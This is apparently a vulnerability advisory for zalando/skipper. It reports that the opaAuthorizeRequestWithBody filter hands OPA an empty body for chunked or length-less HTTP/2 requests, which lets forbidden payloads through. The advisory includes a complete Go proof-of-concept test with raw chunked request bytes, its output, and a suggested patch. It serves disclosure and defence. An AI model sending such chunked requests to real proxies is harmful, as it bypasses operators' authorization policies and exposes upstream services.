Summary

zalando/skipper's OpenPolicyAgent integration silently bypasses request-body
inspection on HTTP/1.1 Transfer-Encoding: chunked and HTTP/2 requests that
omit the content-length pseudo-header. When the
opaAuthorizeRequestWithBody filter is configured, the
OpenPolicyAgentInstance.ExtractHttpBodyOptionally helper produces an
empty raw_body for any request whose Content-Length header is missing,
while the underlying chunked body still flows through to the upstream
service. Rego policies that gate on input.parsed_body (e.g. "deny when a
forbidden field is present") evaluate against an empty document, treat the
forbidden field as absent, and authorize the request. The upstream handler
then receives the full attacker payload that the policy intended to block.

Affected versions

github.com/zalando/skipper versions <= v0.26.8 (the latest release on
2026-05-26, current master 4eed47ff). The vulnerable helper and gate
have lived in filters/openpolicyagent/openpolicyagent.go since the
buffered-body extractor was introduced; no released version contains the
fix at the time of filing.

Privilege required

Unauthenticated network access to the skipper proxy listener. The threat
model targets operators who place skipper in front of a private upstream
and rely on opaAuthorizeRequestWithBody to enforce body-content checks
(field allow/deny lists, payload schema gates, content-moderation flags,
multi-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients
are affected; HTTP/2 traffic without a content-length pseudo-header is
the dominant case because Go's net/http sets
http.Request.ContentLength = -1 for chunked HTTP/1.1 AND for HTTP/2
requests whose framing carries the body as DATA frames without an explicit
length header.

Root cause

filters/openpolicyagent/openpolicyagent.go:1242-1269 (HEAD 4eed47ff):

func bodyUpperBound(contentLength, maxBodyBytes int64) int64 {
    if contentLength <= 0 {
        return maxBodyBytes
    }
    if contentLength < maxBodyBytes {
        return contentLength
    }
    return maxBodyBytes
}

func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {
    body := req.Body
    if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse &&
        req.ContentLength <= int64(opa.maxBodyBytes) {
        wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)
        requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)
        if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {
            return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded
        }
        rawBody, err := wrapper.fillBuffer(req.ContentLength)
        return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err
    }
    return req.Body, nil, func() {}, nil
}

filters/openpolicyagent/openpolicyagent.go:1195-1210:

func (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) {
    var err error
    for err == nil && int64(m.bodyBuffer.Len()) < m.maxBufferSize && int64(m.bodyBuffer.Len()) < expectedSize {
        var n int
        n, err = m.input.Read(m.readBuffer)
        m.bodyBuffer.Write(m.readBuffer[:n])
    }
    if err == io.EOF { err = nil }
    return m.bodyBuffer.Bytes(), err
}

When the client sends Transfer-Encoding: chunked (HTTP/1.1) or an
HTTP/2 request without content-length, Go's net/http server sets
req.ContentLength = -1. The gate at line 1258 (req.ContentLength <= int64(opa.maxBodyBytes)) is true (-1 <= positiveLimit), so the body
gets wrapped in bufferedBodyReader. bodyUpperBound(-1, max) returns
max, so the memory semaphore is acquired, but fillBuffer(-1) then
evaluates int64(m.bodyBuffer.Len()) < expectedSize as 0 < -1, which
is false on the first iteration. The loop never enters, the buffer stays
empty, and the helper returns []byte{} as rawBody to the caller.

The caller in
filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121
hands this empty slice to envoy.AdaptToExtAuthRequest which puts it
into AttributeContext.Request.Http.RawBody. The OPA SDK then exposes
the empty buffer as both input.attributes.request.http.raw_body and
the parsed input.parsed_body document (the latter becomes an
empty/undefined value). Any Rego rule that asserts the presence of a
forbidden field in input.parsed_body evaluates to undefined and fails
into the rule's default (typically allow).

Meanwhile, the wrapped body returned to the filter (req.Body = body
at line 127 of opaauthorizerequest.go) is a bufferedBodyReader whose
Read() falls through to the underlying m.input.Read(p) when the
buffer is empty (lines 1212-1228). The upstream handler therefore reads
the full attacker payload that OPA was never given a chance to inspect.

Reproduction (E2E against pinned github.com/zalando/skipper@v0.26.8)

GHSA advisories have no file-attachment mechanism, so the complete
poc_test.go source and the verbatim go test output are inlined below.

The PoC is a Go test placed in
filters/openpolicyagent/opaauthorizerequest/poc_test.go inside a checkout
of the v0.26.8 tag, so it links against the exact released source. It
boots a real skipper proxy via proxytest.New, configures it with the
opaAuthorizeRequestWithBody filter pointing at an in-process
opasdktest.MustNewServer bundle server, installs a Rego policy that
DENIES requests whose body contains admin=true, and adds a tiny upstream
that records the body it actually received. It then drives the proxy over a
raw TCP socket (net.DialTimeout + http.ReadResponse) to control the
wire framing precisely, sending three requests.

poc_test.go:

package opaauthorizerequest

// PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing.
//
// The filter's body extractor (filters/openpolicyagent/openpolicyagent.go,
// ExtractHttpBodyOptionally) gates on `req.ContentLength <= maxBodyBytes`
// and then calls fillBuffer(req.ContentLength). When the client sends the
// body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a
// declared length, net/http sets req.ContentLength = -1. The gate passes
// (-1 <= max) but fillBuffer's loop condition `len(buf) < expectedSize(-1)`
// is immediately false, so the buffered body is EMPTY. OPA therefore sees an
// empty input.parsed_body, a deny-policy that keys on the body fails open,
// and the full attacker body is forwarded upstream.
//
// This test boots a real skipper proxy (proxytest) with the
// opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle
// server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny
// upstream that records the body it actually received. It then drives the
// proxy over a raw TCP socket to control the wire framing precisely.

import (
	"bufio"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/http/httptest"
	"strings"
	"sync"
	"testing"
	"time"

	opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
	"github.com/zalando/skipper/eskip"
	"github.com/zalando/skipper/filters"
	"github.com/zalando/skipper/filters/builtin"
	"github.com/zalando/skipper/proxy/proxytest"
	"github.com/zalando/skipper/tracing/tracingtest"

	"github.com/zalando/skipper/filters/openpolicyagent"
)

// rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and
// returns the parsed HTTP response.
func rawRequest(t *testing.T, addr, wire string) *http.Response {
	t.Helper()
	conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
	if err != nil {
		t.Fatalf("dial %s: %v", addr, err)
	}
	defer conn.Close()
	_ = conn.SetDeadline(time.Now().Add(10 * time.Second))

	if _, err := io.WriteString(conn, wire); err != nil {
		t.Fatalf("write wire: %v", err)
	}

	resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
	if err != nil {
		t.Fatalf("read response: %v", err)
	}
	// Drain so the body received by upstream is flushed before we inspect it.
	_, _ = io.Copy(io.Discard, resp.Body)
	_ = resp.Body.Close()
	return resp
}

func TestSkipperOPABypassPoC(t *testing.T) {
	// Upstream records, per request, the body bytes it actually received.
	var mu sync.Mutex
	var upstreamBodies []string
	upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		b, _ := io.ReadAll(r.Body)
		mu.Lock()
		upstreamBodies = append(upstreamBodies, string(b))
		mu.Unlock()
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("UPSTREAM-REACHED"))
	}))
	defer upstream.Close()

	// OPA bundle: allow by default, deny only when the parsed body says admin==true.
	opaControlPlane := opasdktest.MustNewServer(
		opasdktest.MockBundle("/bundles/test", map[string]string{
			"main.rego": `
				package envoy.authz

				import rego.v1

				default allow := true

				allow := false if {
					input.parsed_body.admin == true
				}
			`,
		}),
	)
	defer opaControlPlane.Stop()

	config := fmt.Appendf(nil, `{
		"services": {
			"test": {
				"url": %q
			}
		},
		"bundles": {
			"test": {
				"resource": "/bundles/{{ .bundlename }}"
			}
		},
		"labels": {
			"environment": "test"
		},
		"plugins": {
			"envoy_ext_authz_grpc": {
				"path": "envoy/authz/allow",
				"dry-run": false
			}
		}
	}`, opaControlPlane.URL())

	opts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{
		openpolicyagent.WithConfigTemplate(config),
	}

	opaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry(
		openpolicyagent.WithTracer(tracingtest.NewTracer()),
		openpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...),
	)
	if err != nil {
		t.Fatalf("registry: %v", err)
	}

	fr := make(filters.Registry)
	fr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory))
	fr.Register(builtin.NewSetPath())

	// Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream.
	r := eskip.MustParse(fmt.Sprintf(
		`* -> opaAuthorizeRequestWithBody("test") -> "%s"`, upstream.URL))

	proxy := proxytest.New(fr, r...)
	defer proxy.Close()

	host := strings.TrimPrefix(proxy.URL, "http://")

	type tc struct {
		name       string
		wire       string
		wantStatus int
		wantUpstrm bool // whether upstream is expected to be reached
	}

	cases := []tc{
		{
			name: "1: Content-Length benign body -> 200 ALLOW",
			wire: "POST /priv HTTP/1.1\r\n" +
				"Host: " + host + "\r\n" +
				"Content-Type: application/json\r\n" +
				"Connection: close\r\n" +
				"Content-Length: 15\r\n" +
				"\r\n" +
				`{"admin":false}`,
			wantStatus: 200,
			wantUpstrm: true,
		},
		{
			name: "2: Content-Length admin body -> 403 DENY (negative control)",
			wire: "POST /priv HTTP/1.1\r\n" +
				"Host: " + host + "\r\n" +
				"Content-Type: application/json\r\n" +
				"Connection: close\r\n" +
				"Content-Length: 14\r\n" +
				"\r\n" +
				`{"admin":true}`,
			wantStatus: 403,
			wantUpstrm: false,
		},
		{
			name: "3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)",
			wire: "POST /priv HTTP/1.1\r\n" +
				"Host: " + host + "\r\n" +
				"Content-Type: application/json\r\n" +
				"Connection: close\r\n" +
				"Transfer-Encoding: chunked\r\n" +
				"\r\n" +
				"e\r\n" +
				`{"admin":true}` + "\r\n" +
				"0\r\n" +
				"\r\n",
			wantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200
			wantUpstrm: true,
		},
	}

	for _, c := range cases {
		mu.Lock()
		before := len(upstreamBodies)
		mu.Unlock()

		resp := rawRequest(t, host, c.wire)

		mu.Lock()
		reached := len(upstreamBodies) > before
		var lastBody string
		if reached {
			lastBody = upstreamBodies[len(upstreamBodies)-1]
		}
		mu.Unlock()

		t.Logf("[%s] status=%d upstreamReached=%v upstreamBody=%q",
			c.name, resp.StatusCode, reached, lastBody)

		if resp.StatusCode != c.wantStatus {
			t.Errorf("[%s] status = %d, want %d", c.name, resp.StatusCode, c.wantStatus)
		}
		if reached != c.wantUpstrm {
			t.Errorf("[%s] upstreamReached = %v, want %v", c.name, reached, c.wantUpstrm)
		}
	}

	// Explicit bypass assertion: the chunked admin body MUST have reached
	// upstream verbatim despite the deny policy.
	mu.Lock()
	defer mu.Unlock()
	bypassed := false
	for _, b := range upstreamBodies {
		if b == `{"admin":true}` {
			bypassed = true
		}
	}
	if bypassed {
		t.Logf("BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)")
	} else {
		t.Errorf("expected the chunked admin body to reach upstream (bypass), but it did not")
	}
}

The three requests cover:

Test 3 wire bytes: POST /priv HTTP/1.1\r\nHost: ...\r\nContent-Type: application/json\r\nConnection: close\r\nTransfer-Encoding: chunked\r\n\r\ne\r\n{"admin":true}\r\n0\r\n\r\n.

Run command and verbatim output (go version go1.26.3 darwin/arm64,
github.com/open-policy-agent/opa v1.14.1 as pinned by skipper v0.26.8):

$ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/
=== RUN   TestSkipperOPABypassPoC
2026/05/28 14:43:47 route settings, reset, route: : * -> opaAuthorizeRequestWithBody("test") -> "http://127.0.0.1:57343"
2026/05/28 14:43:47 route settings received, id: 1
time="2026-05-28T14:43:47+08:00" level=info msg="Starting OPA instance..." bundle-name=test
time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{NOT_READY \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test
time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test
time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=true status=map[bundle:{OK \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test
2026/05/28 14:43:47 route settings applied, id: 1
    poc_test.go:211: [1: Content-Length benign body -> 200 ALLOW] status=200 upstreamReached=true upstreamBody="{\"admin\":false}"
    poc_test.go:211: [2: Content-Length admin body -> 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody=""
    poc_test.go:211: [3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody="{\"admin\":true}"
    poc_test.go:233: BYPASS CONFIRMED: upstream received {"admin":true} despite deny policy (OPA saw empty parsed_body for the chunked request)
--- PASS: TestSkipperOPABypassPoC (0.11s)
PASS
ok  	github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest	1.897s

Test 1 (Content-Length, benign body) is allowed and reaches upstream with
{"admin":false}. Test 2 is the negative control: the same {"admin":true}
payload sent with a Content-Length header is correctly DENIED (HTTP 403)
and never reaches the upstream, proving the policy itself is sound. Test 3
sends the identical forbidden body as Transfer-Encoding: chunked; OPA
evaluates an empty parsed_body, the deny rule fails open, the proxy
returns HTTP 200, and the upstream receives the full {"admin":true}
payload that the policy was configured to block.

Impact

Operators relying on opaAuthorizeRequestWithBody for body-content
authorization are silently downgraded to header/path-only authorization
for any client that emits chunked or HTTP/2 requests. Concrete
production patterns affected:

• "Deny when body contains admin/privileged field" guardrails for
  multi-tenant or role-stratified APIs;
• "Deny when content-moderation flag is present" filters in front of
  user-content endpoints;
• "Deny when payload schema version is forbidden" gates for
  deprecated-API shutdown;
• "Deny when SQL/command-injection-shaped string is present" generic
  body validators.

In every case the chunked attack arrives with the forbidden body
intact, OPA evaluates against an empty document, the policy fails open,
and the upstream receives the attacker payload that the deployment was
specifically configured to block. There is no log signal in OPA's
decision log distinguishing "body was empty" from "client did not send
a body".

Note that the OPA decision log will record the request as ALLOWED with
raw_body length 0, which complicates post-hoc forensic detection. The
upstream's request log will show the full body, producing a confusing
allow/observed asymmetry across systems.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N (8.5 HIGH). Scope is
Changed because the failure crosses the trust boundary between the
authorization filter and the upstream service.

Suggested fix

filters/openpolicyagent/openpolicyagent.go:

 func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {
 	body := req.Body
 
+	// `req.ContentLength == -1` is set by net/http when the client uses
+	// Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in
+	// HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and
+	// drive fillBuffer with the policy cap instead of the negative
+	// sentinel, otherwise the fillBuffer loop short-circuits on its
+	// `len < expectedSize` predicate and OPA evaluates an empty body.
+	expectedSize := req.ContentLength
+	if expectedSize < 0 {
+		expectedSize = opa.maxBodyBytes
+	}
+
 	if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse &&
-		req.ContentLength <= int64(opa.maxBodyBytes) {
+		expectedSize <= int64(opa.maxBodyBytes) {
 
 		wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)
 
-		requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)
+		requestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes)
 		if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {
 			return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded
 		}
 
-		rawBody, err := wrapper.fillBuffer(req.ContentLength)
+		rawBody, err := wrapper.fillBuffer(expectedSize)
 		return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err
 	}
 
 	return req.Body, nil, func() {}, nil
 }

After the fix, fillBuffer(maxBodyBytes) reads chunked bodies up to
the configured cap. If the body exceeds the cap, the existing Read()
path already returns the wrapped reader for downstream consumption,
matching the documented behaviour for over-cap requests today; the
operator-configured maxRequestBodyBytes continues to be the single
knob governing memory allocation.

A regression test TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed
in filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go
should send a Transfer-Encoding: chunked request matching a
blacklist policy and assert HTTP 403, and a same-payload Content-Length
request to confirm parity.

Credit

Reported by tonghuaroot.

References

• GHSA-659f-rgp5-w4wf